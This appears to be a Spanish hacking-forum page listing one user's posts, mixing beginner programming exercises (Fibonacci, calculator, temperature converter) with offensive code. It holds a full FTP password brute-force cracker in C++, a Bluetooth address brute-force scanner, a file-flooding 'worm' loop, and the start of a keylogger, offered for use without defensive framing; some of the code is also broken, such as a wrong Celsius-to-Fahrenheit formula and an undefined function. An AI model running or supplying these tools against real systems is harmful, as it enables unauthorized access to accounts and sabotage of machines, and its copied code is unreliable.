Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Jhonjhon_123

#1
Space(Num): Genera Num espacios
LOF(ID): Da el tamaño del identificador de archivo espesificado

Donde:
- ID = Freefile()
- LOF(ID) = Num

Open Archivo For Binary Access Read As #ID
Stub = Space(LOF(ID)) 'Asignas espasio en la var para luego ser escrito con el contenido del Archivo
Get #ID, , Stub
Close #ID

Espero te ayude

Saludos!
#2
Hace mil años ke no pasaba por aki Xd
Bueno, el tio Fake me ha retado a crearme una funcion de este tipo y como yo no soy de los ke dicen NO tan facilmente me dispuse toda la tarde a buscar el como y el porque de esta interesante serie de numeritos XD

Aka les dejo mi code con la funcion de Fibonacci y la comprovacion IsFibonacci (de la serie de Fibonacci), y claro un simple ejemplo pa ke vean como funkan XD

Código: php

Option Explicit

' By Jhonjhon_123 (J.J.G.P)
' Referencia: http://gaussianos.com/algunas-curiosidades-sobre-los-numeros-de-fibonacci/

Private Sub Form_Load()
Dim D As Long

' Serie de Fibonacci
For D = 1 To 34
    If isFibonacci(D) Then Debug.Print D, isFibonacci(D)
Next

' Formula de Fibonacci
For D = 0 To 9
    Debug.Print "N=" & D, "Fn=" & Fibonacci(D)
Next

End Sub

' Serie de Fibonacci
Private Function isFibonacci(Numero As Long) As Boolean
Dim D As Long
Dim CPerfecto(1) As Long
Dim EsPerfecto(1) As Boolean

CPerfecto(0) = 5 * (Numero ^ 2) - 4
CPerfecto(1) = 5 * (Numero ^ 2) + 4

For D = 0 To 1
    EsPerfecto(D) = Not CBool(CLng(Sqr(CPerfecto(D))) - Sqr(CPerfecto(D)))
Next

If EsPerfecto(0) Or EsPerfecto(1) Then isFibonacci = True
End Function

' Formula de Fibonacci
Private Function Fibonacci(n As Long) As Long
Dim Oro As Double
Oro = (1 + Sqr(5)) / 2
Fibonacci = ((Oro ^ n) - (-1 / Oro) ^ n) / Sqr(5)
End Function
#3
E-Zines / Re:E-Books Sobre Rootkits Y Virus
Junio 23, 2010, 01:12:59 PM
Gracias man!
#4
Muy Bueno, Gracias!
#5
Back-end / Re:[PHP] Logs de ip en .txt
Marzo 08, 2010, 02:42:40 PM
Codigo Corregido, arreglados muchos fallos.

Se nota el copy and paste.
#6
Bueno, este es un ejercicio de un libro, y se los quise pasar.

El ejercicio consiste en crear un code que haga una pirámide de N filas.



Codigo De Fuente:

Necesitan 2 TextBox
     1. TXT_Pir > Para Ver La pirámide > MultiLine = True > Locked = True
     2. TXT_Filas > No De Filas
1 CommandButton > CMD_Run > Crear Pirámide

Código: vb

Option Explicit

Private Sub CMD_Run_Click()
Dim D As Long
Dim N As Long

TXT_Pir.Text = ""

For D = Val(TXT_Filas.Text) To 1 Step -1
    N = D + (D - 1)
    Call Escribir(N, "*", TXT_Pir)
Next

End Sub


Function Escribir(Veces As Long, Char As String, TXT As TextBox)
Dim D As Long
For D = 1 To Veces
    TXT = TXT & Char
Next
TXT = TXT & vbCrLf
End Function

Private Sub Form_Load()
With TXT_Pir
    .Font = "OCR A Std"
    .FontBold = True
    .FontSize = 12
End With
End Sub

#7
Mi primer programa en C++, es una calculadora a modo consola, con opciones sencillas y avanzadas, que son las siguientes:

Funciones Matemáticas:
1. Sumar
2. Restar
3. Multiplicar
4. Dividir
5. Raiz cuadrada
6. Porcentaje
7. Numero elevado a otro numero
Funciones Trigonometricas:
8. Coseno del angulo
9. Seno del angulo
10. Tangente
11. Arco tangente
Funciones Logaritmicas:
12. Logaritmo natural
13. Logaritmo decimal

Código: cpp
#include <iostream>
#include <math.h>
#include <stdlib.h>
using namespace std;
int main()
{
system("title Calculadora v.2.0″);
double X;
{
cout << "#Internetizad0s Blog\n#www.internetizados.wordpress.com\n#C0ded: KilerSys\n#Calculadora Avanzada\n\nElige la opcion que desea realizar:\n\n Funciones Matematicas\n1. Sumar\n2. Restar\n3. Multiplicar\n4. Dividir\n5. Raiz cuadrada\n6. Porcentaje\n7. Numero elevado a otro numero\n\n Funciones Trigonometricas\n8. Coseno del angulo\n9. Seno del angulo\n10. Tangente\n11. Arco tangente\n\n Funciones Logaritmicas\n12. Logaritmo natural\n13. Logaritmo decimal\n\n";
cin >> X;
if(X == 1){ //Sumar
double sum1, sum2;
cout << "\nEscribe el primer digito: ";
cin >> sum1;
cout << "Escribe el segundo digito: ";
cin >> sum2;
cout << "El resultado de la suma es " << sum1 + sum2 << "\n" << endl;
system("pause>nul");
}
if(X == 2){ //Restar
double res1, res2;
cout << "\nEscribe el primer digito: ";
cin >> res1;
cout << "Escribe el segundo digito: ";
cin >> res2;
cout << "El resultado de la resta es " << res1 - res2 << endl;
system("pause>nul");
}
if(X == 3) { //Multiplicar
double mul1, mul2;
cout << "\nEscribe el primer digito: ";
cin >> mul1;
cout << "Escribe el segundo digito: ";
cin >> mul2;
cout << "El resultado de la multiplicacion es " << mul1 * mul2 << endl;
system("pause>nul");
}
if(X == 4){ //Dividir
double div1, div2;
cout << "\nEscribe el primer digito: ";
cin >> div1;
cout << "Escribe el segundo digito: ";
cin >> div2;
cout << "El resultado de la división es " << div1 / div2 << endl;
system("pause>nul");
}
if(X == 5){ //Raiz cuadrada
double raiz;
cout << "\nEscribe el digito: ";
cin >> raiz;
cout << "La raiz cuadrada es " << sqrt(raiz) << endl;
system("pause>nul");
}
if(X == 6){ //Porcentaje
double por1, por2;
cout << "\nEscribe el digito: ";
cin >> por1;
cout << "Escribe el porcentaje: ";
cin >> por2;
cout << "El porcentaje es " << (por1 * por2)/100 << endl;
system("pause>nul");
}
if(X == 7){ //Elevar un número a otro exponente
double num1, num2;
cout << "\nEscribe el digito:";
cin >> num1;
cout << "Escribe digito elevado: ";
cin >> num2;
cout << "El resultado es " << pow(num1, num2) << endl;
system("pause>nul");
}
if(X == 8){ //Coseno
double c;
cout << "\nEscribe el digito: ";
cin >> c;
cout << "El coseno del angulo es " << cos(c) << endl;
system("pause>nul");
}
if(X == 9){ //Seno
double s;
cout << "\nEscribe el digito: ";
cin >> s;
cout << "El seno del angulo es " << sin(s) << endl;
system("pause>nul");
}
if(X == 10){ //Tangente
double t;
cout << "\nEscribe un digito: ";
cin >> t;
cout << "La tangente del angulo es " << tan(t) << endl;
system("pause>nul");
}
if(X == 12){ //Logaritmo natural
double l;
cout << "\nEscribe un digito: ";
cin >> l;
cout << "El logaritmo natural del argumento es " << log(l) << endl;
system("pause>nul");
}
if(X == 13){ //Logaritmo decimal
double l1;
cout << "\nEscribe un digito: ";
cin >> l1;
cout << "El logaritmo decimal del argumento es " << log10(l1) << endl;
system("pause>nul");
}
}
}
#8
Códigos Fuentes / Tool Hack Bluetooth
Febrero 23, 2010, 08:16:49 PM
Bueno pues esta tool fue cambiada mejor dicho esta tool fue hecha en Java Por un colega Pedi Permiso para cambiarla de lenguaje de Programacion a C y asi lo hice =)

Código: c


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <ctype.h>

#include <termios.h>
#include <fcntl.h>
#include <getopt.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <asm/types.h>
#include <netinet/in.h>

#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

extern int optind,opterr,optopt;
extern char *optarg;

#define for_each_opt(opt, long, short) while ((opt=getopt_long(argc, argv, short ? short:"+", long, NULL)) != -1)

static void usage(void);

static struct option hunt_options[] = {
  {"Ayuda", 0,0, 'A'},
  {0, 0, 0, 0}
};

static char *hunt_help =
  "Usage:\n"
  "\thunt <timeout>\n";

static void cmd_hunt(int dev_id, int argc, char **argv)
{
  bdaddr_t bdaddr;
  char name[248];
 
  int opt, dd, num=0, num2=0, num3=0, num4=0, num5=0, num6=0;
  int btout=50000;

  unsigned char lame[16][2] = {"0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F", };

  char addtobrute[248];

  printf("Profanador Bluetooth by Codeboy\n");
  printf("Codeboy Productions(c)\n");
  printf("Autor: Codeboy www.codeboy.es - www.hackblack.org - [email protected]\n");

  argc -= optind;
        argv += optind;

  if (argc < 2) {
    printf(hunt_help);
    exit(1);
  }

  if (argc >= 1) {
    btout=atoi(argv[1]);
  }

  printf("timeout: %d\n", btout);

  printf("Comensando...\n");

  while (num <= 15)
  {
    while(num2 <= 15)
    {
      while(num3 <= 15)
      {
        while(num4 <= 15)
        {
          while(num5 <= 15)
          {
            while(num6 <= 15)
            {
              strcpy(addtobrute,"00:80:98:");
              strcat(addtobrute,lame[num]);
              strcat(addtobrute,lame[num2]);
              strcat(addtobrute,":");
              strcat(addtobrute,lame[num3]);
              strcat(addtobrute,lame[num4]);
              strcat(addtobrute,":");
              strcat(addtobrute,lame[num5]);
              strcat(addtobrute,lame[num6]);
           
              /* Solo Debug */
              printf("%s\n",addtobrute);

              baswap(&bdaddr, strtoba(addtobrute));
                     
              dev_id = hci_get_route(&bdaddr);
              if (dev_id < 0) {
                fprintf(stderr,"Dispocitivo no es posible de alcanzar");
                exit(1);
              }
             

             
              dd = hci_open_dev(dev_id);
              if (dd < 0) {
                fprintf(stderr,"HCI Dispositivo alcanzado y conectado");
                exit(1);
              }
             
             
              /* Consiguiendo informacion del otro dispositivo */
              if (hci_read_remote_name(dd,&bdaddr,sizeof(name), name, btout) == 0)
                printf("\n.start--->\naddress :- %s\nname :- %s\n<.end-----\n",batostr(&bdaddr),name);
             
              close(dd);

              num6++;
              }
              num6=0;
              num5++;

            }
            num5=0;
            num4++;
          }
          num4=0;
          num3++;
      }
      num3=0;
      num2++;
    }
    num2=0;
    num++;
  }
}

struct {
  char *cmd;
  void (*func)(int dev_id, int argc, char **argv);
  char *doc;
} command[] = {
  { "Profanar", cmd_Profanar, "Encontrar el nombre del dispositivo" },
  { NULL, NULL, 0}
};

static void usage(void)
{
  int i;

  printf("Profanador Bluetooth by Codeboy\n");
  printf("uso:\n"
    "\tfang [opciones] <Comando> [Parametros de lo elejido]\n");
  printf("Opciones:\n"
    "\t--Ayuda\tMostrar help\n"
    "\t-i Ver\tHCI Ver\n");
  printf("Comandos:\n");
  for (i=0; command[i].cmd; i++)
    printf("\t%-4s\t%s\n", command[i].cmd,
    command[i].doc);
  printf("\n"
    "Para mas informacion use el comando help:\n"
    "\tfang <Comando> --help\n" );
}

static struct option main_options[] = {
  {"Ayuda", 0,0, 'h'},
  {"Ver", 1,0, 'i'},
  {0, 0, 0, 0}
};

int main(int argc, char **argv)
{
  int opt, i, dev_id = -1;
  bdaddr_t ba;

  while ((opt=getopt_long(argc, argv, "+i:h", main_options, NULL)) != -1) {
    switch(opt) {
    case 'i':
      dev_id = hci_devid(optarg);
      if (dev_id < 0) {
        perror("Dispositivo no valido");
        exit(1);
      }
      break;

    case 'h':
    default:
      usage();
      exit(0);
    }
  }

  argc -= optind;
  argv += optind;
  optind = 0;

  if (argc < 1) {
    usage();
    exit(0);
  }

  if (dev_id != -1 && hci_devba(dev_id, &ba) < 0) {
    perror("Dispositivo no es alcansable");
    exit(1);
  }

  for (i=0; command[i].cmd; i++) {
    if (strncmp(command[i].cmd, argv[0], 3))
      continue;
    command[i].func(dev_id, argc, argv);
    break;
  }
  return 0;
}

/*Coded by Codeboy */


Espero les guste no hace mucho esta tool pero es muy buena xD

Saludos
#9
Códigos Fuentes / FTP Brute Force
Febrero 23, 2010, 08:11:24 PM
Código: c
/*****
Ftp Brute Force , v1.0.
Written By WaReZ 
-----------------
Options:
        Single Username - Password list , Range passwords.
        Usernames list - Passwords List , Single password , Range Passwords.
---------------------------------------------------------------------------------------------
Compile:       
        g++ ftp.cpp -o ftp.exe

---------------------------------------------
*****/

#include <iostream>
#include <winsock.h>
#include <fstream>
#include <time.h>
using namespace std;

int ftp_connect(string user,string pass,char *site) {
         
sockaddr_in address;
         
size_t userSize = user.length()+1;
size_t passSize = pass.length()+1;
char username[userSize],password[passSize];
ZeroMemory(&username[0],userSize);
ZeroMemory(&password[0],passSize);
         
strncpy(username,user.c_str(),userSize);
strncpy(password,pass.c_str(),passSize);
       
char recv2[256];
ZeroMemory(&recv2,256);
       
hostent *host;
host = gethostbyname(site);

if(host != NULL)
{
           
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           
address.sin_family = AF_INET;
address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
address.sin_port = htons(21);     
 
 
int c,s,r;
c = connect(sock,(struct sockaddr*)&address,sizeof(address));
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,username,strlen(username),0);
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,password,sizeof(password),0);
r = recv(sock,recv2,sizeof(recv2),0);


  if(strstr(recv2,"230"))
  {
     return 230;
  }
       
  else if(strstr(recv2,"530"))
  {
     return 530;
  }
 
  else if(c != 0)
  {
     return -1;
  }
                   
  else
  {
     return WSAGetLastError();
  }
 
}

  else
  {
    return -1;
  } 
 
}         

int main(int argc,char *argv[])
{
     
cout << "\n#####################################\n"
         "# Ftp Brute Force                   #\n"   
         "# Written By WaReZ                  #\n"
         "#####################################\n\n";
 
WSADATA wsaData;

if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
  cout << "WSAGetLastError(): " << WSAGetLastError();
  exit(1);
}
 
         
if(argc < 2)
{
  cout << "Usage: " << argv[0] << "\n\n";
  cout << "-user         singal username\n";
  cout << "-ul           usernames list\n";
  cout << "-start        start range\n";
  cout << "-end          end range\n";
  cout << "-pl           passwords list\n";
  cout << "-sp           singal password for users list\n";
  cout << "-site         site that be checked\n\n";

  cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
}

       
else
{
   
  cout <<  "[~] Starting ...\n\n";
  char buffer[256],rcv[256]; 
 
 
  int check = 0;
  int tstart = 0 ,tend = 0;
  int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0,error = 0,attempt = 0;
  string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  char passwords[256],site[256] = "", users[256];
  ifstream passlist,userlist;
 
for(int i = 1; i <= argc-1;i++)
{
             
    if(argv[i+1] != NULL)
    {
         
     if(strstr(argv[i],"-user"))
     {
        realuser = argv[i+1];       
        user = "USER ";
        user += argv[i+1];
        user += "\r\n";
        u = 1;                   
     }
   
     if(strstr(argv[i],"-start"))
     {                       
        tstart = atoi(argv[i+1]);
        start = 1;             
     }
   
     if(strstr(argv[i],"-end"))
     {                     
        tend = atoi(argv[i+1]);
        end = 1;                                   
     }
   
     if(strstr(argv[i],"-pl"))
     {                     
        passlist.open(argv[i+1]);
        if(!passlist.fail())
        {
        pl = 1;
        }                           
     }
   
     if(strstr(argv[i],"-site"))
     {                             
       site2 = argv[i+1];
       strncpy(site,site2.c_str(),256);
       check_site = 1;                           
     }
   
     if(strstr(argv[i],"-ul"))
     {
        userlist.open(argv[i+1]);
        if(!userlist.fail())
        {
        ul = 1;
        }                 
     }
   
     if(strstr(argv[i],"-sp"))
     {
        sinpass = argv[i+1];
        realpass = argv[i+1];
        spass = 1;                       
     }
   
  }       
}

time_t time1;
time1 = time(NULL);

if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
   for(int p = tstart; p <= tend; p++)
   {   
         attempt+= 1; 
       
         pass = "PASS ";
         pass+=itoa(p,buffer,10);
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
       
         if(b == 230)
         {
             cout << realuser << "::" << p << " - Succeed" << endl;
             break;
         }
       
         else if(b == 530)
         {
             cout << realuser << "::" << p << " - Fail" << endl;
         }
     
         else if(b == -1)
         {
             cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
         }
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         attempt+= 1;
                     
   }
}
 
else if(pl == 1 && u == 1 && check_site == 1)
{     
   while(!passlist.eof())
   {                         
      attempt+= 1; 
     
      passlist.getline(passwords,100); 
      pass = "PASS ";
      pass+= passwords;
      pass+= "\r\n";
     
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << realuser << "::" << passwords << " - Succeed" << endl;
          hacked = 1;
          break;
      }
       
      else if(b == 530)
      {
          cout << realuser << "::" << passwords << " - Fail" << endl;
      }
   
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                           
   }
 
   if(hacked == 0)
   {
       cout <<  "\n\nNon password was matched.\n\n";
   }
}
 
else if(ul == 1 && pl == 1 && check_site == 1)
{       
   while(!userlist.eof())
   {
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n";                       
     
      while(!passlist.eof())
      { 
         attempt+= 1; 
                                   
         passlist.getline(passwords,100); 
         pass = "PASS ";
         pass+= passwords;
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
   
         if(b == 230)
         {
             cout << users << "::" << passwords << " - Succeed" << endl;
             correct_pass+= users;
             correct_pass+= "::";
             correct_pass+= passwords;
             correct_pass+= "\n";
             hacked+= 1;
             passlist.clear();             
             passlist.seekg(0,ios::beg);
             cout << "-------------------------\n";
             break;
     
         }
       
         else if(b == 530)
         {
             cout << users << "::" << passwords << " - Fail" << endl;         
         }
     
         else if(b == -1)
         {
            cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
            error = 1;
            break;   
         }     
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         if(passlist.eof())
         {
            cout << "-------------------------\n";             
            passlist.clear();             
            passlist.seekg(0,ios::beg);
            break;                   
         }

     }
   
     if(error == 1)
     {
         break;
     }       
}
        if(error != 1)
        {
            if(hacked > 0)
            {             
                cout << "\nHacked Users:\n\n";
                cout << correct_pass;
                cout << "\n" << hacked << " Users Was Hacked\n";
            }
           
            else
            {
              cout << "\n\nNon password was matched.\n\n";   
            }
        }
}

else if(spass == 1 && ul == 1 && check_site == 1)
{
   while(!userlist.eof())
   { 
      attempt+= 1; 
     
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n"; 
       
      pass = "PASS ";
      pass+= sinpass;
      pass+= "\r\n";
           
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << users << "::" << realpass << " - Succeed" << endl;
          fileusers+= users;
          fileusers+= "::";
          fileusers+= realpass;
          fileusers+= "\n";
          hacked+= 1;
      }
       
      else if(b == 530)
      {
          cout << users << "::" << realpass << " - Fail" << endl;         
      }
     
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                                         
   } 
      if(error != 1)
      {                     
          if(hacked > 0)
          {       
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
   
          else
          {
              cout << "\n\nNon password was matched.\n\n"; 
          }
       } 
       
}

else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
    while(!userlist.eof())
    {                       
       userlist.getline(users,100);
         
       for(int d = tstart; d <= tend;d++)
       { 
         
          attempt+= 1; 
         
          user = "USER ";
          user+= users;
          user+= "\r\n";
         
          pass = "PASS ";
          pass+= itoa(d,buffer,10);
          pass+= "\r\n"; 
         
          int b = ftp_connect(user,pass,site);
     
          if(b == 230)
          {
              cout << users << "::" << d << " - Succeed" << endl;
              fileusers+= users;
              fileusers+= "::";
              fileusers+= itoa(d,buffer,10);
              fileusers+= "\n";
              hacked+= 1;
              break;
          }
         
          else if(b == 530)
          {
              cout << users << "::" << d << " - Fail" << endl;         
          }
               
          else if(b == -1)
          {
             cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
          }
         
          else
          {         
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
          } 
           
      }
          cout << "----------------------\n"; 
   }
   
      if(error != 1)
      {             
          if(hacked > 0)
          {
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
         
          else
          {
             cout << "\n\nNon password was matched\n\n";   
          }
      }           

 
else
{
    if(tstart > tend)
    {
      cout << "Error: Start range bigger then end range.\n";       
    }
   
    else if(strlen(site) < 1)
    {
       cout << "Error: You forget to write the site.\n";
    }
   
    else if(passlist.fail() || userlist.fail())
    {
      cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";   
    }
     
    else
    {
      cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
    }
}     

time_t time2;
time2 = time(NULL);
cout << "\nAttempts: " << attempt << "\n";
cout << "Time elapsed: " << time2-time1 << "\n";
}
}
#10
Bueno esto es mas facil de hacer que de escribir...

primero que todo supondremos que hemos creado la siguiente función:


Código: c
int suma(int x, int y);   // prototipo de la función 

suma(x,y)                 // cuando no indicamos el tipo de dato se le adjudica
                               // el tipo por defecto "int"
{
return(x+y);             //retorno de la función
}   
 

bueno nos vamos a nuestro compilador y guardamos la función con extension .h
que es la extension k usan las librerias y luego la guardamos en la carpeta include de nuestro compilador...
En mi casi uso Dev-c++ es:


CitarC:\Dev-Cpp\include

Ahora supongamos que este el programa mediante el cual llamaremos a nuestra funcion:

Código: c
#include <stdio.h>
#include <libreria.h>

main()
{
      int a,b,res;
      printf("ingresa un numero: ");
      scanf("%d",&a);
      printf("\nIngresa otro numero: ");
      scanf("%d",&b);
      res=suma(a,b);
      printf("la suma de los dos numeros es: %d \n", res);
      system("pause");
}


Conclusion:
Cuando usamos funciones llamadas desde libreria no es necesario incluir la funcion ni el prototipo dentro de nuestro programa, es decir podemos guardar nuestras funciones de uso habitual en una libreria y asi no tener enormes codigos en nuestros programas.

Bueno espero les alla quedado claro y cualquier duda o consulta en este mismo hilo.


Autor: S[e]C

Saludos!
#11
Códigos Fuentes / Simulador del comando Find
Febrero 23, 2010, 08:07:33 PM
Código: c
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
    if(argc < 2)
    {
        printf("Busca cadenas de texto.\n\n\t%s.exe [-n] [-v] \"Cadena\""
        "\n\n-n Muestra el numero de linea donde se da la coincidencia"
        "\n-v Muestra las lineas que no contengan la coincidencia\n", *argv);
    return 1;
    }
    char cadena[400];
    signed int linea = 0;
    if(argc == 2)
    {
    while(fgets(cadena, 400, stdin) != NULL)
    {
    cadena[400] = '\0';
    linea++;
    if(strstr(cadena, argv[1]))
    {
        printf("%s", cadena);
    }
    }
    }
    if(strcmp(argv[1], "-n") == 0 && argv[2] != NULL)
    {
    while(fgets(cadena, 400, stdin) != NULL)
    {
    cadena[400] = '\0';
    linea++;
    if(strstr(cadena, argv[2]))
    {
        printf("%i : %s", linea, cadena);
    }
    }
    }
    if(strcmp(argv[1], "-v") == 0 && argv[2] != NULL)
    {
    while(fgets(cadena, 400, stdin) != NULL)
    {
    cadena[400] = '\0';
    linea++;
    if(!strstr(cadena, argv[2]))
    {
        printf("%s", cadena);
    }
    }
    }
return 0;
}


Saludos!
#12
Códigos Fuentes / Hola mundo en C/C++
Febrero 23, 2010, 07:56:25 PM
C

Código: c
#include <stdio.h> /*incluimos la cabecera stdio, necesaria para printf y getchar*/
int main(void)        /*la funcion principal*/
{
    printf("Hola mundo!\n"); /*escribimos por la salida estandar (la consola) el texto*/
    return 0;           /*terminamos el programa normalmente*/
}


C++

Código: cpp
#include <iostream.h>  //incluimos la cabecera iostream, necesaria para cout
int main(void)        //la funcion principal
{
    cout<<"Hola mundo!" << endl; //escribimos por la salida estandar (la consola) el texto
    return 0;           //terminamos el programa normalmente
}


Saludos!
#13
Códigos Fuentes / Conversor de temperaturas en C++
Febrero 23, 2010, 07:54:39 PM
Bueno, aquí otra practica conversa centigrados, farenhait y kelvin.

Código: cpp
#include <iostream>
#include <cstdlib>
#include <stdio.h>

using namespace std;

int main()
{

/*CodeD by KilerSys
www.internetizados.wordpress.com*/

    double num;
    int opt;
    system("title Conversor de temperaturas");
    cout << "#Coded by KilerSys\n#Conversor de temperaturas v1.0\n#www.internetizados.wordpress.com\n\nConvertir:\n1. Centigrados/Celsius a Farenheit\n2. Farenheit a Centigrados/Celsius\n3. Farenheit a Kelvin\n4. Kelvin a Farenheit\n5. Kelvin a Centigrados/Celsius\n6. Centigrados/Celsius a Kelvin\n0. Salir\n\nOpcion: ";
    cin >> opt;
    if(opt==1){
               cout << "Escribe los Grados Centigrados/Celsius: ";
               cin >> num;
               cout << "\n " << num << " Grados Centigrados/Celsius son " << (num + 32) * 1.8 << " Grados Farenheit." << endl;
               system("pause");
               }
    if(opt==2){
               cout << "Escribe los Grados Farenheit: ";
               cin >> num;
               cout << "\n " << num << " Grados Farenheit son " << (num - 32) / 1.8 << " Grados Centigrados/Celsius." << endl;
               system("pause");
               }
    if(opt==3){
               cout << "Escribe los Grados Farenheit: ";
               cin >> num;
               cout << "\n " << num << " Grados Farenheit son " << (num + 459.67) / 1.8 << " Grados Kelvin." << endl;
               system("pause");
               }
    if(opt==4){
               cout << "Escribe los Grados Kelvin: ";
               cin >> num;
               cout << "\n " << num << " Grados Kelvin son " << (num * 1.8) - 459.67 << " Grados Farenheit." << endl;
               system("pause");
               }
    if(opt==5){
               cout << "Escribe los Grados Kelvin: ";
               cin >> num;
               cout << "\n " << num << " Grados Kelvin son " << (num - 273.16) << " Grados Centigrados." << endl;
               system("pause");
               }
    if(opt==6){
               cout << "Escribe los Grados Centigrados/Celsius: ";
               cin >> num;
               cout << "\n " << num << " Grados Centigrados/Celsius son " << num + 273.16 << " Grados Kelvin." << endl;
               system("pause");
               }
    if(opt==0){
               cout << "Hasta la proxima." << endl;
               system("pause");
               return EXIT_SUCCESS;
}
}


Saludos!
#14
Bueno estuve pensando en crear un bonito worm que me permitiese crear archivos, y he decidido hacerlo en C.
Es una técnica muy sencilla pero que puede resultar muy util.

Empezaremos con crear un archivo con un nombre aleatorio.Para luego crear un bucle.

Código: c


#include <windows.h>
#include <stdio.h>

//librerias

char secuencialetras[ ] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";

//todo el alfabeto, ten en cuenta que al borrar o cambiar una letra, se cambiaria todo el nombre del archivo que se va  a generar

int Random( char* buffer, int l ) // creamos una funcion con la cual pondremos el nombre aleatorio a todos los archivos
{
for( int z = 0; z < l; z++ )
{
buffer[ z ] = secuencialetras[ (rand()*rand()) % strlen( secuencialetras ) ];
buffer[ l ] = 0;
}
};

int crear( char* archivo, char* contenido ) // funcion que crea el archivo
{
unsigned long bytesescritos;
HANDLE hFile = CreateFile( archivo, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );  //esto ahora luego lo explico mejor
WriteFile( hFile, contenido, strlen( contenido ), &bytesescritos, 0 );
CloseHandle( hFile );
};

int main( )
{

char archivo[32], contenido[ 0xFFFF ]; //cuantos caracteres va a tener nuestro archivo
Random( archivo, sizeof( archivo ) - 1 );

Random( contenido, sizeof( contenido ) );

crear( archivo, contenido );

return 0;
};



Como se ve no es nada del otro mundo.
La funcion CreateFile nos permite abrir o crear un nuevo archivo según modifiquemos el parámetro dwCreationDisposition [in] .
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y lo mismo con WriteFile, nos permite cuantos bytes escribir en los archivos y ponerle el nombre.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno ahora nos saldrá un archivo con nombre aleatorio, y de tamaño 63,9 KB, porque tan poco para un worm, porque esto nos permite crear archivos rapidamente y a la larga sera más eficiente.

Para crear el worm solo necesitamos un bucle en int main.

Un ejemplo para crear solo 3 archivos.

Código: c


#include <windows.h>
#include <stdio.h>

//librerias

char secuencialetras[ ] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";

//todo el alfabeto, ten en cuenta que al borrar o cambiar una letra, se cambiaria todo el nombre del archivo que se va  a generar

int Random( char* buffer, int l ) // creamos una funcion con la cual pondremos el nombre aleatorio a todos los archivos
{
for( int z = 0; z < l; z++ )
{
buffer[ z ] = secuencialetras[ (rand()*rand()) % strlen( secuencialetras ) ];
buffer[ l ] = 0;
}
};

int crear( char* archivo, char* contenido ) // funcion que crea el archivo
{
unsigned long bytesescritos;
HANDLE hFile = CreateFile( archivo, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );  //esto ahora luego lo explico mejor
WriteFile( hFile, contenido, strlen( contenido ), &bytesescritos, 0 );
CloseHandle( hFile );
};

int main( )
{
for(int b = 0; b < 3; b++ )
{
char archivo[32], contenido[ 0xFFFF ]; //cuantos caracteres va a tener nuestro archivo
Random( archivo, sizeof( archivo ) - 1 );

Random( contenido, sizeof( contenido ) );

crear( archivo, contenido );
}
return 0;
};



Podemos usar while(true) o for(int b=0 ; b < 10 ; b--)

Eso ya es imaginación suya.

Autor. Pablo
#15
Códigos Fuentes / Keylogger en C++
Febrero 23, 2010, 07:42:46 PM
Aqui les dejo el Code:

Código: cpp
#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;

int main(){

//Variable que determinará cuando cerrar el keylogger..
bool aprete = true;

//Creamos y abrimos el fichero txt para escribir en el
ofstream log;
